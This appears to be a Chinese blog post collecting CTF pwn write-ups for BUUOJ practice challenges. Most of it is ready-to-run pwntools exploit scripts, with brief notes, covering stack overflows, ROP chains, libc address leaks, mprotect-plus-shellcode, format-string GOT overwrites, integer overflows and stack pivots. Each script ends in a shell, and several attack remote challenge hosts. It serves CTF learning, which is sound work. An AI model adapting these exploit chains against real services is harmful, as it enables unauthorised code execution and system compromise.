buuoj pwn

    科技2024-11-25  58

    文章目录

    ret2textrippwntools gdb 调试 warmup_csaw_2016pwn1_sctf_2016ciscn_2019_n_1baby_roplevel2 & level2_x64bjdctf_2020_babystackciscn_2019_ne_5 ret2syscallone_gadget ret2libcciscn_2019_c_1ciscn_2019_n_5bjdctf_2020_babyropbabyropbabyrop2pwn2_sctf_20162018_rop ret2shellcodeget_started_3dsctf_2016 & not_the_same_3dsctf_2016get_started_3dsctf_2016not_the_same_3dsctf_2016 ez_pz_hackover_2016 format string vulnpwn5 integer overflowr2t3ciscn_n_8 stack migrationciscn_2019_es_2spwn other[BJDCTF 2nd]test

    ret2text

    rip

    pwntools gdb 调试

    gdb.debug(’./xxx’)

    pause()

    在弹出窗口设好断点,用 python 传递不可打印字符

    堆栈平衡,简单溢出

    from pwn import * #context.log_level='debug' #p=remote('node3.buuoj.cn',27864) #p=gdb.debug('./pwn1') #pause() target_addr=0x401186 ret_addr=0x401016 pay='a'*(0xf+8)+p64(ret_addr)+p64(target_addr) p.sendline(pay) #pause() p.interactive()

    warmup_csaw_2016

    简单溢出

    from pwn import * p=process('./warmup_csaw_2016') sys_addr=0x40060d pay='a'*(0x40+8)+p64(sys_addr) p.sendline(pay) p.interactive()

    pwn1_sctf_2016

    程序会将 I 替换成 you

    用 I 构造一定长度的 payload 溢出

    from pwn import * p=process('./pwn1_sctf_2016') #p=gdb.debug('./pwn1_sctf_2016') get_flag_addr=0x8048F0D #pause() pay='I'*((0x3c+4)/3)+'a'*((0x3c+4)%3)+p32(get_flag_addr) p.sendline(pay) p.interactive()

    ciscn_2019_n_1

    简单覆盖

    小数的二进制表示

    from pwn import * p=process('./ciscn_2019_n_1') pay='1'*(0x30-4)+p64(0x41348000) p.recvuntil('guess the number.\n') p.sendline(pay) p.interactive()

    baby_rop

    简单的 rop

    from pwn import * p=process('./baby_rop') rdi_addr=0x400683 sys_addr=0x400490 sh_addr=0x601048 pay='a'*(0x10+8)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr) p.recvuntil("What's your name?") p.sendline(pay) p.interactive()

    level2 & level2_x64

    简单的 rop

    from pwn import * p=process('./level2') sh_addr=0x804A024 sys_addr=0x8048320 pay='a'*(0x88+4)+p32(sys_addr)+p32(0)+p32(sh_addr) p.recvuntil('Input:') p.sendline(pay) p.interactive() from pwn import * p=process('./level2_x64') sys_addr=0x4004c0 sh_addr=0x600a90 rdi_addr=0x4006b3 pay='a'*(0x80+8)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr) p.recvuntil('Input:') p.sendline(pay) p.interactive()

    bjdctf_2020_babystack

    简单 rop

    from pwn import * p=process('./bjdctf_2020_babystack') backdoor=0x4006E6 pay='a'*(0x10+8)+p64(backdoor) p.recvuntil('[+]Please input the length of your name:') p.sendline('100') p.recvuntil("[+]What's u name?") p.sendline(pay) p.interactive()

    ciscn_2019_ne_5

    from pwn import * #p=process('./ciscn_2019_ne_5') p=remote('node3.buuoj.cn',27369) #p=gdb.debug('./ciscn_2019_ne_5') sh_addr=0x80482ea sys_addr=0x80484d0 pay='a'*(0x48+4)+p32(sys_addr)+'aaaa'+p32(sh_addr) p.recvuntil('Please input admin password:') p.sendline('administrator') p.recvuntil('0.Exit') p.sendline('1') p.recvuntil('Please input new log info:') #pause() p.sendline(pay) p.recvuntil('0.Exit') p.sendline('4') p.interactive()

    ret2syscall

    one_gadget

    用 one_gadget 找到 exec ,用给出的 printf@plt 算出基址

    from pwn import * #p=process('./one_gadget') p=remote('node3.buuoj.cn',28384) libc=ELF('./libc-2.29.so') one_gadget_addr=[0xe237f,0xe2383,0xe2386,0x106ef8] p.recvuntil('0x') printf_addr=int(p.recv(12),16) print hex(printf_addr) libcbase=printf_addr-libc.symbols['printf'] pay=libcbase+one_gadget_addr[3] sleep(0.5) p.sendline(str(pay)) p.interactive()

    ret2libc

    ciscn_2019_c_1

    栈溢出泄漏基址,一波 LibcSearcher 冲冲冲

    from pwn import * from LibcSearcher import * #context.log_level='debug' #p=process('./ciscn_2019_c_1') p=remote('node3.buuoj.cn',26505) elf=ELF('./ciscn_2019_c_1') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main_addr=0x400B28 rdi_addr=0x400c83 ret_addr=0x4006b9 pay='a'*(0x50+8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr) p.recvuntil('Input your choice!\n') p.sendline('1') p.recvuntil('Input your Plaintext to be encrypted\n') p.sendline(pay) p.recvuntil('Ciphertext\n') p.recvuntil('\n') puts_addr=u64(p.recv(6)+'\x00\x00') print hex(puts_addr) libc=LibcSearcher('puts',puts_addr) libcbase=puts_addr-libc.dump('puts') sys_addr=libcbase+libc.dump('system') sh_addr=libcbase+libc.dump('str_bin_sh') pay='a'*(0x50+8)+p64(ret_addr)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr) p.recvuntil('Input your choice!\n') p.sendline('1') p.recvuntil('Input your Plaintext to be encrypted\n') p.sendline(pay) p.interactive()

    ciscn_2019_n_5

    堆栈平衡 ret

    from pwn import * from LibcSearcher import * #context.log_level='debug' #p=process('./ciscn_2019_n_5') p=remote('node3.buuoj.cn',28418) elf=ELF('./ciscn_2019_n_5') rdi_addr=0x400713 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main_addr=0x400636 ret_addr=0x4004c9 pay='a'*(0x20+8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr) p.recvuntil('tell me your name') p.sendline('a') p.recvuntil('What do you want to say to me?\n') p.sendline(pay) puts_addr=u64(p.recv(6)+'\x00\x00') print hex(puts_addr) libc=LibcSearcher('puts',puts_addr) libcbase=puts_addr-libc.dump('puts') sys_addr=libcbase+libc.dump('system') sh_addr=libcbase+libc.dump('str_bin_sh') pay='a'*(0x20+8)+p64(ret_addr)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr) p.recvuntil('tell me your name') p.sendline('a') p.recvuntil('What do you want to say to me?\n') p.sendline(pay) p.interactive()

    bjdctf_2020_babyrop

    from pwn import * from LibcSearcher import * context.log_level='debug' p=remote('node3.buuoj.cn',28920) elf=ELF('./bjdctf_2020_babyrop') main_addr=0x4006AD rdi_addr=0x400733 puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] pay='a'*(0x20+8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr) p.recvuntil('Pull up your sword and tell me u story!\n') p.sendline(pay) puts_addr=u64(p.recv(6)+'\x00\x00') print(hex(puts_addr)) libc=LibcSearcher('puts',puts_addr) libcbase=puts_addr-libc.dump('puts') sys_addr=libcbase+libc.dump('system') sh_addr=libcbase+libc.dump('str_bin_sh') pay='a'*(0x20+8)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr) p.recvuntil('Pull up your sword and tell me u story!\n') p.sendline(pay) p.interactive()

    babyrop

    很好的一道题,有多种溢出方法

    read 函数读取到 \n

    strlen 从 \x00 截断

    构造以 \x00 开头的 pay 可以绕过 strcpyn 函数

    用输入足够长的 buf 覆盖 v6 使下一个函数中的 buf 可以栈溢出

    libc.so 需要基址

    leak by puts

    #leak by puts elf=ELF('./pwn') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main_addr=0x8048825 pay='\x00'+'\xff'*(0x2c-0x25) #use buf to cover v6 to make the length enough p.sendline(pay) p.recvuntil('Correct\n') pay1='a'*(0xe7+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got) p.sendline(pay1) puts_addr=u32(p.recv(4)) print hex(puts_addr) libc=LibcSearcher('puts',puts_addr) libcbase=puts_addr-libc.dump('puts') sys_addr=libcbase+libc.dump('system') sh_addr=libcbase+libc.dump('str_bin_sh') pay1='a'*(0xe7+4)+p32(sys_addr)+p32(1)+p32(sh_addr) p.sendline(pay) p.recvuntil('Correct\n') p.sendline(pay1) p.interactive()

    leak by write

    #leak by write elf=ELF('./pwn') #libc=ELF('./libc-2.23.so') write_got=elf.got['write'] write_plt=elf.plt['write'] main_addr=0x8048825 pay='\x00'+'\xff'*(0x2c-0x25) #use buf to cover v6 to make the length enough p.sendline(pay) p.recvuntil('Correct\n') pay1='a'*(0xe7+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) p.sendline(pay1) write_addr=u32(p.recv(4)) print hex(write_addr) libc=LibcSearcher('write',write_addr) libcbase=write_addr-libc.dump('write') sys_addr=libcbase+libc.dump('system') sh_addr=libcbase+libc.dump('str_bin_sh') pay1='a'*(0xe7+4)+p32(sys_addr)+p32(1)+p32(sh_addr) p.sendline(pay) p.recvuntil('Correct\n') p.sendline(pay1) p.interactive()

    leak by libc.so

    from pwn import * from LibcSearcher import * #p=process('./pwn') p=remote('node3.buuoj.cn',26060) #arch 32 # leak by libc.so elf=ELF('./pwn') libc=ELF('./libc-2.23.so') pay='\x00'+'\xff'*(0x2c-0x25) p.sendline(pay) p.recvuntil('Correct\n') write_got=elf.got['write'] write_plt=elf.plt['write'] main_addr=0x8048825 sys_addr=libc.symbols['system'] sh_addr=libc.search('/bin/sh').next() pay1='a'*(0xe7+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) p.sendline(pay1) write_addr=u32(p.recv(4)) libcbase=write_addr-libc.symbols['write'] sys_addr+=libcbase sh_addr+=libcbase pay1='a'*(0xe7+4)+p32(sys_addr)+p32(1)+p32(sh_addr) p.sendline(pay) p.recvuntil('Correct\n') p.sendline(pay1) p.interactive()

    babyrop2

    from pwn import * from LibcSearcher import * #context.log_level='debug' #p=process('./babyrop2') p=remote('node3.buuoj.cn',28182) elf=ELF('./babyrop2') main_addr=0x400636 rdi_addr=0x400733 rsi_addr=0x400731 ret_addr=0x4004d1 format=0x400770 read_got=elf.got['read'] printf_plt=elf.plt['printf'] pay='a'*(0x20+8)+p64(rdi_addr)+p64(format)+p64(rsi_addr)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_addr) p.recvuntil('your name?') p.sendline(pay) p.recvuntil('Welcome to the Pwn World again, ') p.recvuntil('Welcome to the Pwn World again, ') read_addr=u64(p.recv(6)+'\x00\x00') print hex(read_addr) libc=LibcSearcher('read',read_addr) libcbase=read_addr-libc.dump('read') sys_addr=libcbase+libc.dump('system') sh_addr=libcbase+libc.dump('str_bin_sh') pay='a'*(0x20+8)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr)+'aaa' p.recvuntil('your name?') p.sendline(pay) p.interactive()

    pwn2_sctf_2016

    integer overflow

    from pwn import * from LibcSearcher import * #context.log_level='debug' #p=process('./pwn2_sctf_2016') p=remote('node3.buuoj.cn',29029) elf=ELF('./pwn2_sctf_2016') #p=gdb.debug('./pwn2_sctf_2016') ret_addr=0x8048346 format_addr=0x80486F8 printf_got=elf.got['printf'] printf_plt=elf.plt['printf'] pop2_addr=0x804864e main_addr=0x80485B8 pay='a'*(0x2c+4)+p32(printf_plt)+p32(pop2_addr)+p32(format_addr)+p32(printf_got)+p32(main_addr) p.recvuntil('How many bytes do you want me to read?') p.sendline('-1') p.recvuntil('bytes of data!') p.sendline(pay) p.recvuntil('You said: ') p.recvuntil('You said: ') printf_addr=u32(p.recv(4)) print hex(printf_addr) libc=LibcSearcher('printf',printf_addr) libcbase=printf_addr-libc.dump('printf') sys_addr=libcbase+libc.dump('system') sh_addr=libcbase+libc.dump('str_bin_sh') pay='a'*(0x2c+4)+p32(sys_addr)+'a'*4+p32(sh_addr) p.recvuntil('How many bytes do you want me to read?') p.sendline('-1') p.recvuntil('bytes of data!') p.sendline(pay) p.interactive()

    2018_rop

    from pwn import * from LibcSearcher import * context.log_level='debug' p=remote('node3.buuoj.cn',29515) #p=process('./2018_rop') elf=ELF('./2018_rop') main_addr=0x80484C6 write_plt=elf.plt['write'] write_got=elf.got['write'] pop3_addr=0x804855d pay='a'*(0x88+4)+p32(write_plt)+p32(pop3_addr)+p32(1)+p32(write_got)+p32(4)+p32(main_addr) p.sendline(pay) #p.recvuntil('Hello, World\n') write_addr=u32(p.recv(4)) print hex(write_addr) libc=LibcSearcher('write',write_addr) libcbase=write_addr-libc.dump('write') sys_addr=libcbase+libc.dump('system') sh_addr=libcbase+libc.dump('str_bin_sh') pay='a'*(0x88+4)+p32(sys_addr)+'aaaa'+p32(sh_addr) p.sendline(pay) p.interactive()

    ret2shellcode

    get_started_3dsctf_2016 & not_the_same_3dsctf_2016

    mprotect

    直接溢出到 get_flag 会在读取文件的时候莫名错误

    mprotect 给 bss(似乎必须是 0x1000 的整数倍,页对齐?)加权限

    get_started_3dsctf_2016

    int mprotect(const void *start, size_t len, int prot); //参数start表示开始的内存地址,len是要操作的内存大小,prot表示权限 0x7全给

    x86 的多函数 payload 模板

    offset+p32(func1_addr)+p32(pop1)+p32(para_for_func1) +p32(func1_addr)+p32(pop2)+p32(para_for_func2) from pwn import * p=process('./get_started_3dsctf_2016') elf=ELF('./get_started_3dsctf_2016') #p=gdb.debug('./get_started_3dsctf_2016') #pause() mprotect_addr=0x806EC80 bss_addr=0x80e9000 read_addr=elf.symbols['read'] pop3_addr=0x80483b8 pay='a'*0x38+p32(mprotect_addr)+p32(pop3_addr) pay+=p32(bss_addr)+p32(0x200)+p32(0x7) pay+=p32(read_addr)+p32(bss_addr)+p32(0)+p32(bss_addr)+p32(0x200) p.sendline(pay) sleep(0.2) pay=asm(shellcraft.sh()) p.sendline(pay) p.interactive()

    not_the_same_3dsctf_2016

    from pwn import * #p=remote('node3.buuoj.cn',26569) p=process('./not_the_same_3dsctf_2016') elf=ELF('./not_the_same_3dsctf_2016') #p=gdb.debug('./not_the_same_3dsctf_2016') #pause() mprotect_addr=0x806ED40 read_addr=0x806E200 bss_addr=0x80ec000 pop3_addr=0x809e3e5 pay='a'*(45)+p32(mprotect_addr)+p32(pop3_addr)+p32(bss_addr)+p32(0x200)+p32(7) pay+=p32(read_addr)+p32(bss_addr)+p32(0)+p32(bss_addr)+p32(0x200) #p.recvuntil('b0r4') sleep(0.5) p.sendline(pay) sleep(0.5) p.sendline(asm(shellcraft.sh())) p.interactive()

    get_secret 将 flag 写入 bss 段,可以用 write 函数将 bss 写出

    mprotect_addr=0x806ED40 read_addr=0x806E200 bss_addr=0x80ec000 pop3_addr=0x809e3e5 pay='a'*(45)+p32(mprotect_addr)+p32(pop3_addr)+p32(bss_addr)+p32(0x200)+p32(7) pay+=p32(read_addr)+p32(bss_addr)+p32(0)+p32(bss_addr)+p32(0x200) #p.recvuntil('b0r4') sleep(0.5) p.sendline(pay) sleep(0.5) p.sendline(asm(shellcraft.sh())) p.interactive()

    ez_pz_hackover_2016

    from pwn import * #p=process('./ez_pz_hackover_2016') p=remote('node3.buuoj.cn',25618) #p=gdb.debug('./ez_pz_hackover_2016') elf=ELF('./ez_pz_hackover_2016') p.recvuntil('Yippie, lets crash: 0x') s_addr=int((p.recv(8)),16) print(hex(s_addr)) pay='crashme\x00\x00'+'a'*17+p32(s_addr-0x1c)+asm(shellcraft.sh()) #pay+='a'*(0x32-len(pay)+4)+p32(s_addr) p.sendline(pay) p.interactive()

    format string vuln

    pwn5

    格式化字符漏洞,姿势众多

    覆盖判断变量,绕过判断

    from pwn import * p=process('./pwn5') target_addr=0x804C044 offset=10 pay=fmtstr_payload(offset,{target_addr:0x11111111}) p.recvuntil('name:') p.sendline(pay) p.recvuntil('passwd:') p.sendline(str(0x11111111)) p.interactive()

    把 atoi 的 got 表改成 system() 读入 /bin/sh 劫持函数

    from pwn import * p=process('./pwn5') elf=ELF('./pwn5') atoi_addr=elf.got['atoi'] sys_addr=elf.symbols['system'] offset=10 pay=fmtstr_payload(offset,{atoi_addr:sys_addr}) p.recvuntil('name:') p.sendline(pay) p.recvuntil('passwd:') p.sendline('/bin/sh\x00') p.interactive()

    覆盖 read atoi printf puts 的 got 表劫持程序流程

    from pwn import * p=process('./pwn5') #p=gdb.debug('./pwn5') elf=ELF('./pwn5') printf_addr=elf.got['printf'] read_addr=elf.got['read'] #puts_addr=elf.got['puts'] atoi_addr=elf.got['atoi'] sys_addr=0x804931A#bypass judgment offset=10 pay=fmtstr_payload(offset,{read_addr:sys_addr}) p.recvuntil('name:') p.sendline(pay) p.recvuntil('passwd:') p.sendline(str(0x11111111)) p.interactive() #leaking by puts is not available,maybe something is wrong

    integer overflow

    r2t3

    长度变量 v3 为 unsign int8,超过 0xff 溢出,所以可以用长度为 0x104~0x108 的字符串整形溢出

    strlen 和 strcpy 都存在 \x00 截断,不能用 \x00 绕过长度验证

    from pwn import * p=process('./r2t3') sh_addr=0x804858B pay='a'*(0x11+4)+p32(sh_addr)+'a'*(0x104-0x11-4-4) p.recvuntil('Please input your name:') p.sendline(pay) p.interactive()

    ciscn_n_8

    _QWORD 为 4 个字节

    from pwn import * p=process('./ciscn_2019_n_8') pay='a'*(13*4)+p64(17) p.recvuntil('name?') p.sendline(pay) p.interactive()

    stack migration

    ciscn_2019_es_2

    migrate to stack

    from pwn import * #p=gdb.debug('./ciscn_2019_es_2') #p=process('./ciscn_2019_es_2') p=remote('node3.buuoj.cn',28334) sys_addr=0x8048400 leave_ret=0x80484b8 pay='a'*0x28 p.sendafter("Welcome, my friend. What's your name?\n",pay) p.recvuntil('a'*0x28) ebp_addr=u32(p.recv(4)) print hex(ebp_addr) pay=('a'*4+p32(sys_addr)+'b'*4+p32(ebp_addr-0x28)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp_addr-0x38)+p32(leave_ret) #pay=('a'*8+p32(ebp_addr-0x24)+'b'*4+p32(sys_addr)+'c'*4+p32(ebp_addr-0x1c)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp_addr-0x2c)#+p32(leave_ret) #perfectly use function main's leave sleep(0.2) p.sendline(pay) p.interactive()

    spwn

    migrate to .bss

    from pwn import * from LibcSearcher import * #context.log_level='debug' #p=gdb.debug('./spwn') #p=process('./spwn') p=remote('node3.buuoj.cn',28086) elf=ELF('./spwn') s_addr=0x804A300 leave_ret=0x8048408 write_plt=elf.plt['write'] write_got=elf.got['write'] pop3_addr=0x80485a9 ret_addr=0x8048312 main_addr=0x8048513 pay='a'*4+p32(write_plt)+p32(pop3_addr)+p32(1)+p32(write_got)+p32(4)+p32(main_addr) p.recvuntil('What is your name?') p.sendline(pay) pay='a'*(0x18)+p32(s_addr)+p32(leave_ret) p.recvuntil('What do you want to say?') p.send(pay) #sleep(0.5) write_addr=u32(p.recv(4)) print hex(write_addr) libc=LibcSearcher('write',write_addr) libcbase=write_addr-libc.dump('write') sys_addr=libcbase+libc.dump('system') sh_addr=libcbase+libc.dump('str_bin_sh') pay='a'*4+p32(sys_addr)+'a'*4+p32(sh_addr)#+p32(main_addr) p.recvuntil('What is your name?') p.sendline(pay) pay='a'*(0x18)+p32(s_addr)+p32(leave_ret) p.recvuntil('What do you want to say?') p.sendline(pay) p.interactive()

    other

    [BJDCTF 2nd]test

    ssh 使用和 system 的特殊使用

    test.c在if 判断这块过滤了很多命令,取下的过滤规则是 “n|e|p|b|u|s|h|i|f|l|a|g”,可以使用下面命令,查看剩余可以使用的命令ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g" from pwn import * shell=ssh('ctf','node3.buuoj.cn',password='test',port=29706) p=shell.run('sh') p.sendline('./test') sleep(0.2) p.sendline('x86_64') p.sendline('cat flag') p.interactive()
    Processed: 0.009, SQL: 8